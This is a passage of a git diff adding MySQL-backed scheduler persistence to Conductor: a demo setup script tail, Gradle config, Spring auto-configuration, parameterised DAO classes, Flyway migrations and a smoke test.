"${BASE_URL}/api/metadata/workflow" \ + -H "Content-Type: application/json" \ + -d @/examples/daily-report-workflow.json +echo "" + +echo "==> Creating every-minute-demo-schedule..." +curl -sf -X POST "${BASE_URL}/api/scheduler/schedules" \ + -H "Content-Type: application/json" \ + -d @/examples/every-minute-schedule.json +echo "" + +echo "" +echo "==========================================" +echo " Scheduler demo is ready!" +echo "" +echo " Conductor UI: http://localhost:5000" +echo " Conductor API: http://localhost:8080" +echo " Swagger: http://localhost:8080/swagger-ui/index.html" +echo "" +echo " Watch executions:" +echo " curl -s 'http://localhost:8080/api/scheduler/search/executions?freeText=every-minute-demo-schedule&size=5' | jq ." +echo "==========================================" diff --git a/scheduler/mysql-persistence/build.gradle b/scheduler/mysql-persistence/build.gradle new file mode 100644 index 0000000..bd7c63a --- /dev/null +++ b/scheduler/mysql-persistence/build.gradle @@ -0,0 +1,29 @@ +dependencies { + implementation project(':conductor-scheduler-core') + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-mysql-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.apache.commons:commons-lang3" + implementation "mysql:mysql-connector-java:8.0.33" + implementation "org.flywaydb:flyway-core:${revFlyway}" + implementation "org.flywaydb:flyway-mysql:${revFlyway}" + + testImplementation 'org.springframework.boot:spring-boot-starter' + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testImplementation 'org.springframework.retry:spring-retry' + testImplementation "org.testcontainers:mysql:${revTestContainer}" + testImplementation testFixtures(project(':conductor-scheduler-core')) +} + +test { + maxParallelForks = 1 + // Docker Desktop on macOS requires API v1.44+; docker-java defaults to v1.41 + environment 'DOCKER_API_VERSION', '1.44' +} diff --git a/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerConfiguration.java b/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerConfiguration.java new file mode 100644 index 0000000..ee273b6 --- /dev/null +++ b/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerConfiguration.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.config; + +import javax.sql.DataSource; + +import org.conductoross.conductor.scheduler.mysql.dao.MySQLSchedulerArchivalDAO; +import org.conductoross.conductor.scheduler.mysql.dao.MySQLSchedulerDAO; +import org.flywaydb.core.Flyway; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +/** + * Spring auto-configuration that registers MySQL-backed {@link SchedulerDAO} and {@link + * SchedulerArchivalDAO}. + * + *

    Active when {@code conductor.db.type=mysql} AND {@code conductor.scheduler.enabled=true}. Runs + * Flyway migrations for the scheduler tables using a dedicated history table so they do not + * conflict with the main Conductor migration history. + */ +@AutoConfiguration +@ConditionalOnExpression( + "'${conductor.db.type:}' == 'mysql' && '${conductor.scheduler.enabled:false}' == 'true'") +public class MySQLSchedulerConfiguration { + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler_mysql") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new MySQLSchedulerDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerArchivalDAO schedulerArchivalDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new MySQLSchedulerArchivalDAO(retryTemplate, objectMapper, dataSource); + } +} diff --git a/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAO.java b/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAO.java new file mode 100644 index 0000000..74f4e51 --- /dev/null +++ b/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAO.java @@ -0,0 +1,308 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.*; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.mysql.dao.MySQLBaseDAO; +import com.netflix.conductor.mysql.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.archive.SchedulerSearchQuery; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +/** + * MySQL implementation of {@link SchedulerArchivalDAO}. + * + *

    Extends {@link MySQLBaseDAO} for connection/transaction management. Archival execution records + * are stored in the {@code workflow_scheduled_executions} table with individual columns for + * efficient querying. Uses MySQL-compatible SQL syntax. Managed by Flyway ({@code + * db/migration_scheduler_mysql}). + */ +public class MySQLSchedulerArchivalDAO extends MySQLBaseDAO implements SchedulerArchivalDAO { + + private static final String DAO_NAME = "mysql"; + + private static final String SELECT_COLUMNS = + "execution_id, schedule_name, workflow_name, workflow_id," + + " reason, stack_trace, state, scheduled_time, execution_time," + + " start_workflow_request"; + + public MySQLSchedulerArchivalDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel model) { + Monitors.recordDaoRequests(DAO_NAME, "saveArchivalRecord", "n/a", "n/a"); + String sql = + "INSERT INTO workflow_scheduled_executions" + + " (execution_id, schedule_name, workflow_name, workflow_id," + + " reason, stack_trace, state, scheduled_time, execution_time," + + " start_workflow_request)" + + " VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)" + + " ON DUPLICATE KEY UPDATE" + + " schedule_name = VALUES(schedule_name)," + + " workflow_name = VALUES(workflow_name)," + + " workflow_id = VALUES(workflow_id)," + + " reason = VALUES(reason)," + + " stack_trace = VALUES(stack_trace)," + + " state = VALUES(state)," + + " scheduled_time = VALUES(scheduled_time)," + + " execution_time = VALUES(execution_time)," + + " start_workflow_request = VALUES(start_workflow_request)"; + executeWithTransaction( + sql, + q -> + q.addParameter(model.getExecutionId()) + .addParameter(model.getScheduleName()) + .addParameter(model.getWorkflowName()) + .addParameter(model.getWorkflowId()) + .addParameter(model.getReason()) + .addParameter(model.getStackTrace()) + .addParameter( + model.getState() != null ? model.getState().name() : null) + .addParameter( + model.getScheduledTime() != null + ? model.getScheduledTime() + : 0L) + .addParameter( + model.getExecutionTime() != null + ? model.getExecutionTime() + : 0L) + .addParameter( + model.getStartWorkflowRequest() != null + ? toJson(model.getStartWorkflowRequest()) + : null) + .executeUpdate()); + } + + @Override + public SearchResult searchScheduledExecutions( + String query, String freeText, int start, int count, List sort) { + Monitors.recordDaoRequests(DAO_NAME, "searchScheduledExecutions", "n/a", "n/a"); + StringBuilder where = new StringBuilder(" WHERE 1=1"); + List params = new ArrayList<>(); + + SchedulerSearchQuery parsed = SchedulerSearchQuery.parse(query); + if (parsed.hasScheduleNames()) { + String placeholders = + String.join(",", Collections.nCopies(parsed.getScheduleNames().size(), "?")); + where.append(" AND schedule_name IN (").append(placeholders).append(")"); + params.addAll(parsed.getScheduleNames()); + } + if (parsed.hasStates()) { + String placeholders = + String.join(",", Collections.nCopies(parsed.getStates().size(), "?")); + where.append(" AND state IN (").append(placeholders).append(")"); + params.addAll(parsed.getStates()); + } + if (parsed.getScheduledTimeAfter() != null) { + where.append(" AND scheduled_time > ?"); + params.add(parsed.getScheduledTimeAfter()); + } + if (parsed.getScheduledTimeBefore() != null) { + where.append(" AND scheduled_time < ?"); + params.add(parsed.getScheduledTimeBefore()); + } + if (parsed.hasWorkflowName()) { + where.append(" AND workflow_name LIKE ?"); + params.add("%" + parsed.getWorkflowName() + "%"); + } + if (parsed.hasExecutionId()) { + where.append(" AND execution_id = ?"); + params.add(parsed.getExecutionId()); + } + + String countSql = "SELECT COUNT(*) FROM workflow_scheduled_executions" + where; + long totalHits = + queryWithTransaction( + countSql, q -> q.addParameters(params.toArray()).executeCount()); + + String orderBy = buildOrderByClause(sort); + String dataSql = + "SELECT execution_id FROM workflow_scheduled_executions" + + where + + orderBy + + " LIMIT ? OFFSET ?"; + List dataParams = new ArrayList<>(params); + dataParams.add(count); + dataParams.add(start); + + List ids = + queryWithTransaction( + dataSql, + q -> q.addParameters(dataParams.toArray()).executeScalarList(String.class)); + + return new SearchResult<>(totalHits, ids); + } + + private static String buildOrderByClause(List sortOptions) { + if (sortOptions == null || sortOptions.isEmpty()) { + return " ORDER BY scheduled_time DESC"; + } + List orderClauses = new ArrayList<>(); + for (String sortOption : sortOptions) { + String[] parts = sortOption.split(":"); + String field = parts[0].trim(); + String direction = + parts.length > 1 && "ASC".equalsIgnoreCase(parts[1].trim()) ? "ASC" : "DESC"; + String column = SchedulerSearchQuery.resolveColumnName(field); + orderClauses.add(column + " " + direction); + } + return " ORDER BY " + String.join(", ", orderClauses); + } + + @Override + public Map getExecutionsByIds( + Set executionIds) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionsByIds", "n/a", "n/a"); + if (executionIds == null || executionIds.isEmpty()) { + return new HashMap<>(); + } + String placeholders = Query.generateInBindings(executionIds.size()); + String sql = + "SELECT " + + SELECT_COLUMNS + + " FROM workflow_scheduled_executions WHERE execution_id IN (" + + placeholders + + ")"; + List list = + queryWithTransaction( + sql, + q -> { + for (String id : executionIds) { + q.addParameter(id); + } + return q.executeAndFetch(this::mapRows); + }); + Map result = new HashMap<>(); + for (WorkflowScheduleExecutionModel m : list) { + result.put(m.getExecutionId(), m); + } + return result; + } + + @Override + public WorkflowScheduleExecutionModel getExecutionById(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionById", "n/a", "n/a"); + String sql = + "SELECT " + + SELECT_COLUMNS + + " FROM workflow_scheduled_executions WHERE execution_id = ?"; + return queryWithTransaction( + sql, + q -> { + q.addParameter(executionId); + List list = q.executeAndFetch(this::mapRows); + return list.isEmpty() ? null : list.get(0); + }); + } + + @Override + public void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold) { + Monitors.recordDaoRequests(DAO_NAME, "cleanupOldRecords", "n/a", "n/a"); + String schedSql = + "SELECT schedule_name FROM workflow_scheduled_executions" + + " GROUP BY schedule_name HAVING COUNT(*) > ?"; + List scheduleNames = + queryWithTransaction( + schedSql, + q -> + q.addParameter(archivalMaxRecordThreshold) + .executeScalarList(String.class)); + + for (String scheduleName : scheduleNames) { + // MySQL doesn't support OFFSET in subqueries; get IDs to keep first + String keepSql = + "SELECT execution_id FROM workflow_scheduled_executions" + + " WHERE schedule_name = ?" + + " ORDER BY scheduled_time DESC LIMIT ?"; + List keepIds = + queryWithTransaction( + keepSql, + q -> + q.addParameter(scheduleName) + .addParameter(archivalMaxRecords) + .executeScalarList(String.class)); + + if (keepIds.isEmpty()) { + continue; + } + + String placeholders = Query.generateInBindings(keepIds.size()); + String deleteSql = + "DELETE FROM workflow_scheduled_executions" + + " WHERE schedule_name = ? AND execution_id NOT IN (" + + placeholders + + ")"; + executeWithTransaction( + deleteSql, + q -> { + q.addParameter(scheduleName); + for (String id : keepIds) { + q.addParameter(id); + } + q.executeDelete(); + }); + } + } + + private List mapRows(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(mapRow(rs)); + } + return list; + } + + private WorkflowScheduleExecutionModel mapRow(ResultSet rs) throws SQLException { + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(rs.getString("execution_id")); + model.setScheduleName(rs.getString("schedule_name")); + model.setWorkflowName(rs.getString("workflow_name")); + model.setWorkflowId(rs.getString("workflow_id")); + model.setReason(rs.getString("reason")); + model.setStackTrace(rs.getString("stack_trace")); + String stateStr = rs.getString("state"); + if (stateStr != null) { + model.setState(WorkflowScheduleExecutionModel.State.valueOf(stateStr)); + } + long scheduledTime = rs.getLong("scheduled_time"); + model.setScheduledTime(rs.wasNull() ? null : scheduledTime); + long executionTime = rs.getLong("execution_time"); + model.setExecutionTime(rs.wasNull() ? null : executionTime); + String swrJson = rs.getString("start_workflow_request"); + if (swrJson != null && !swrJson.isEmpty()) { + try { + model.setStartWorkflowRequest( + objectMapper.readValue(swrJson, StartWorkflowRequest.class)); + } catch (Exception e) { + throw new NonTransientException("Failed to deserialize StartWorkflowRequest", e); + } + } + return model; + } +} diff --git a/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAO.java b/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAO.java new file mode 100644 index 0000000..ef2f801 --- /dev/null +++ b/scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAO.java @@ -0,0 +1,288 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.dao; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.mysql.dao.MySQLBaseDAO; +import com.netflix.conductor.mysql.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * MySQL implementation of {@link SchedulerDAO}. + * + *

    Extends {@link MySQLBaseDAO} for connection/transaction management and uses the {@link Query} + * utility for parameterised statements. Functionally equivalent to the PostgreSQL implementation + * but uses MySQL-compatible SQL syntax ({@code ON DUPLICATE KEY UPDATE} instead of {@code ON + * CONFLICT}). Schedules and execution records are stored as JSON blobs in {@code scheduler} and + * {@code scheduler_execution} tables respectively. + * + *

    Managed by Flyway ({@code db/migration_scheduler_mysql}). + */ +public class MySQLSchedulerDAO extends MySQLBaseDAO implements SchedulerDAO { + + private static final String DAO_NAME = "mysql"; + + public MySQLSchedulerDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void updateSchedule(WorkflowScheduleModel schedule) { + Monitors.recordDaoRequests(DAO_NAME, "updateSchedule", "n/a", "n/a"); + withTransaction( + tx -> { + execute( + tx, + "INSERT INTO scheduler (scheduler_name, workflow_name, json_data, next_run_time) " + + "VALUES (?, ?, ?, ?) " + + "ON DUPLICATE KEY UPDATE " + + " workflow_name = VALUES(workflow_name), " + + " json_data = VALUES(json_data), " + + " next_run_time = VALUES(next_run_time)", + q -> { + q.addParameter(schedule.getName()) + .addParameter( + schedule.getStartWorkflowRequest() != null + ? schedule.getStartWorkflowRequest() + .getName() + : null) + .addParameter(toJson(schedule)) + .addParameter(schedule.getNextRunTime()) + .executeUpdate(); + }); + // Reset the cached next-run-time so SchedulerService can set a fresh value + // via setNextRunTimeInEpoch after recomputing the schedule. + execute( + tx, + "DELETE FROM scheduler_next_run WHERE `key` = ?", + q -> q.addParameter(schedule.getName()).executeDelete()); + }); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + Monitors.recordDaoRequests(DAO_NAME, "findScheduleByName", "n/a", "n/a"); + String sql = "SELECT json_data FROM scheduler WHERE scheduler_name = ?"; + return queryWithTransaction( + sql, q -> q.addParameter(name).executeAndFetchFirst(WorkflowScheduleModel.class)); + } + + @Override + public List getAllSchedules() { + Monitors.recordDaoRequests(DAO_NAME, "getAllSchedules", "n/a", "n/a"); + return queryWithTransaction( + "SELECT json_data FROM scheduler", + q -> q.executeAndFetch(WorkflowScheduleModel.class)); + } + + @Override + public List findAllSchedules(String workflowName) { + Monitors.recordDaoRequests(DAO_NAME, "findAllSchedules", "n/a", "n/a"); + String sql = "SELECT json_data FROM scheduler WHERE workflow_name = ?"; + return queryWithTransaction( + sql, + q -> q.addParameter(workflowName).executeAndFetch(WorkflowScheduleModel.class)); + } + + @Override + public Map findAllByNames(Set names) { + Monitors.recordDaoRequests(DAO_NAME, "findAllByNames", "n/a", "n/a"); + if (names == null || names.isEmpty()) { + return new HashMap<>(); + } + String placeholders = Query.generateInBindings(names.size()); + List schedules = + queryWithTransaction( + "SELECT json_data FROM scheduler WHERE scheduler_name IN (" + + placeholders + + ")", + q -> { + for (String name : names) { + q.addParameter(name); + } + return q.executeAndFetch(WorkflowScheduleModel.class); + }); + Map result = new HashMap<>(); + for (WorkflowScheduleModel s : schedules) { + result.put(s.getName(), s); + } + return result; + } + + @Override + public void deleteWorkflowSchedule(String name) { + Monitors.recordDaoRequests(DAO_NAME, "deleteWorkflowSchedule", "n/a", "n/a"); + withTransaction( + tx -> { + execute( + tx, + "DELETE FROM scheduler_execution WHERE schedule_name = ?", + q -> q.addParameter(name).executeDelete()); + execute( + tx, + "DELETE FROM scheduler_next_run WHERE `key` = ?", + q -> q.addParameter(name).executeDelete()); + execute( + tx, + "DELETE FROM scheduler WHERE scheduler_name = ?", + q -> q.addParameter(name).executeDelete()); + }); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel execution) { + Monitors.recordDaoRequests(DAO_NAME, "saveExecutionRecord", "n/a", "n/a"); + String sql = + "INSERT INTO scheduler_execution (execution_id, schedule_name, state, json_data) " + + "VALUES (?, ?, ?, ?) " + + "ON DUPLICATE KEY UPDATE " + + " state = VALUES(state), " + + " json_data = VALUES(json_data)"; + executeWithTransaction( + sql, + q -> + q.addParameter(execution.getExecutionId()) + .addParameter(execution.getScheduleName()) + .addParameter( + execution.getState() != null + ? execution.getState().name() + : null) + .addParameter(toJson(execution)) + .executeUpdate()); + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "readExecutionRecord", "n/a", "n/a"); + String sql = "SELECT json_data FROM scheduler_execution WHERE execution_id = ?"; + return queryWithTransaction( + sql, + q -> + q.addParameter(executionId) + .executeAndFetchFirst(WorkflowScheduleExecutionModel.class)); + } + + @Override + public void removeExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "removeExecutionRecord", "n/a", "n/a"); + executeWithTransaction( + "DELETE FROM scheduler_execution WHERE execution_id = ?", + q -> q.addParameter(executionId).executeDelete()); + } + + @Override + public List getPendingExecutionRecordIds() { + Monitors.recordDaoRequests(DAO_NAME, "getPendingExecutionRecordIds", "n/a", "n/a"); + return queryWithTransaction( + "SELECT execution_id FROM scheduler_execution WHERE state = 'POLLED'", + q -> q.executeScalarList(String.class)); + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + Monitors.recordDaoRequests(DAO_NAME, "getNextRunTimeInEpoch", "n/a", "n/a"); + String sql = "SELECT epoch_millis FROM scheduler_next_run WHERE `key` = ?"; + Long result = + queryWithTransaction( + sql, q -> q.addParameter(scheduleName).executeAndFetchFirst(Long.class)); + return result != null ? result : -1L; + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMillis) { + Monitors.recordDaoRequests(DAO_NAME, "setNextRunTimeInEpoch", "n/a", "n/a"); + // Upsert into scheduler_next_run so any key is accepted: schedule names (single-cron) and + // JSON payload strings like {"name":"s","cron":"...","id":0} (multi-cron) both work. + executeWithTransaction( + "INSERT INTO scheduler_next_run (`key`, epoch_millis) VALUES (?, ?) " + + "ON DUPLICATE KEY UPDATE epoch_millis = VALUES(epoch_millis)", + q -> q.addParameter(scheduleName).addParameter(epochMillis).executeUpdate()); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + + Monitors.recordDaoRequests(DAO_NAME, "searchSchedules", "n/a", "n/a"); + StringBuilder sql = new StringBuilder("SELECT json_data FROM scheduler WHERE 1=1"); + StringBuilder countSql = new StringBuilder("SELECT COUNT(*) FROM scheduler WHERE 1=1"); + List params = new ArrayList<>(); + List countParams = new ArrayList<>(); + + if (workflowName != null && !workflowName.isEmpty()) { + sql.append(" AND workflow_name = ?"); + countSql.append(" AND workflow_name = ?"); + params.add(workflowName); + countParams.add(workflowName); + } + if (scheduleName != null && !scheduleName.isEmpty()) { + sql.append(" AND scheduler_name LIKE ? ESCAPE '\\\\'"); + countSql.append(" AND scheduler_name LIKE ? ESCAPE '\\\\'"); + String escaped = + scheduleName.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_"); + params.add("%" + escaped + "%"); + countParams.add("%" + escaped + "%"); + } + if (paused != null) { + sql.append(" AND JSON_EXTRACT(json_data, '$.paused') = ?"); + countSql.append(" AND JSON_EXTRACT(json_data, '$.paused') = ?"); + params.add(paused); + countParams.add(paused); + } + + long totalHits = + queryWithTransaction( + countSql.toString(), + q -> { + q.addParameters(countParams.toArray()); + return q.executeCount(); + }); + + sql.append(" ORDER BY scheduler_name ASC"); + sql.append(" LIMIT ? OFFSET ?"); + params.add(size); + params.add(start); + + List results = + queryWithTransaction( + sql.toString(), + q -> { + q.addParameters(params.toArray()); + return q.executeAndFetch(WorkflowScheduleModel.class); + }); + + return new SearchResult<>(totalHits, results); + } +} diff --git a/scheduler/mysql-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/scheduler/mysql-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..f8eeded --- /dev/null +++ b/scheduler/mysql-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.scheduler.mysql.config.MySQLSchedulerConfiguration diff --git a/scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V1__scheduler_tables.sql b/scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V1__scheduler_tables.sql new file mode 100644 index 0000000..4340cd1 --- /dev/null +++ b/scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V1__scheduler_tables.sql @@ -0,0 +1,47 @@ +-- Scheduler tables for Conductor OSS (MySQL). +-- Schema mirrors Orkes Conductor (table names, column names, json_data pattern). +-- Multi-tenancy (org_id) is an Orkes enterprise feature and is omitted here. + +CREATE TABLE IF NOT EXISTS scheduler ( + scheduler_name VARCHAR(255) NOT NULL, + workflow_name VARCHAR(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL, + json_data MEDIUMTEXT NOT NULL, + next_run_time BIGINT, + PRIMARY KEY (scheduler_name) +); + +CREATE INDEX scheduler_workflow_name_idx ON scheduler (workflow_name); +CREATE INDEX scheduler_next_run_time_idx ON scheduler (next_run_time); + +-- Live execution records. json_data holds the full WorkflowScheduleExecution JSON. +-- schedule_name and state are redundant columns kept for efficient SQL queries +-- (OSS has no queue infrastructure to offload pending-execution tracking). +CREATE TABLE IF NOT EXISTS scheduler_execution ( + execution_id VARCHAR(255) NOT NULL, + schedule_name VARCHAR(255) NOT NULL, + state VARCHAR(50) NOT NULL, + json_data MEDIUMTEXT NOT NULL, + PRIMARY KEY (execution_id) +); + +CREATE INDEX scheduler_execution_schedule_name_idx ON scheduler_execution (schedule_name); +CREATE INDEX scheduler_execution_state_idx ON scheduler_execution (state); + +-- Archival table for completed execution history (mirrors Orkes workflow_scheduled_executions). +-- Rows are moved here from scheduler_execution after completion and pruned to archivalMaxRecords. +CREATE TABLE IF NOT EXISTS workflow_scheduled_executions ( + execution_id VARCHAR(255) NOT NULL, + schedule_name VARCHAR(255) NOT NULL, + workflow_name VARCHAR(255), + workflow_id VARCHAR(255), + reason VARCHAR(1024), + stack_trace TEXT, + state VARCHAR(50) NOT NULL, + scheduled_time BIGINT NOT NULL, + execution_time BIGINT, + start_workflow_request MEDIUMTEXT, + PRIMARY KEY (execution_id) +); + +CREATE INDEX workflow_scheduled_executions_schedule_name_idx ON workflow_scheduled_executions (schedule_name); +CREATE INDEX workflow_scheduled_executions_execution_time_idx ON workflow_scheduled_executions (execution_time); diff --git a/scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V2__scheduler_next_run_table.sql b/scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V2__scheduler_next_run_table.sql new file mode 100644 index 0000000..b4db7e9 --- /dev/null +++ b/scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V2__scheduler_next_run_table.sql @@ -0,0 +1,13 @@ +-- Dedicated key-value store for scheduler next-run times. +-- +-- Rationale: the scheduler.next_run_time column only supports one entry per schedule name +-- (the table PK). Multi-cron schedules require a separate entry per cron expression, keyed +-- by a JSON payload string (e.g. {"name":"s","cron":"0 0 8 * * ? UTC","id":0}). A standalone +-- table supports both schedule-name keys (single-cron) and arbitrary payload keys (multi-cron) +-- without conflating timing state with the schedule definition row. + +CREATE TABLE IF NOT EXISTS scheduler_next_run ( + `key` VARCHAR(512) NOT NULL, + epoch_millis BIGINT NOT NULL, + PRIMARY KEY (`key`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; diff --git a/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerAutoConfigurationSmokeTest.java b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerAutoConfigurationSmokeTest.java new file mode 100644 index 0000000..f37ac5d --- /dev/null +++ b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerAutoConfigurationSmokeTest.java @@ -0,0 +1,53 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.config; + +import org.conductoross.conductor.scheduler.mysql.dao.MySQLSchedulerDAO; + +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.config.AbstractSchedulerAutoConfigurationSmokeTest; + +/** + * Smoke-tests {@link MySQLSchedulerConfiguration} auto-configuration conditions. + * + *

    Positive path uses a Testcontainers MySQL instance (the {@code jdbc:tc:…} URL spins up a + * container on first use and reuses it within the JVM). Negative paths run without any DB. + */ +public class MySQLSchedulerAutoConfigurationSmokeTest + extends AbstractSchedulerAutoConfigurationSmokeTest { + + @Override + protected String dbTypeValue() { + return "mysql"; + } + + @Override + protected String datasourceUrl() { + return "jdbc:tc:mysql:8.0:///scheduler_smoke_test"; + } + + @Override + protected String driverClassName() { + return "org.testcontainers.jdbc.ContainerDatabaseDriver"; + } + + @Override + protected Class persistenceAutoConfigClass() { + return MySQLSchedulerConfiguration.class; + } + + @Override + protected Class expectedDaoClass() { + return MySQLSchedulerDAO.class; + } +} diff --git a/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAOTest.java b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAOTest.java new file mode 100644 index 0000000..9fdec27 --- /dev/null +++ b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAOTest.java @@ -0,0 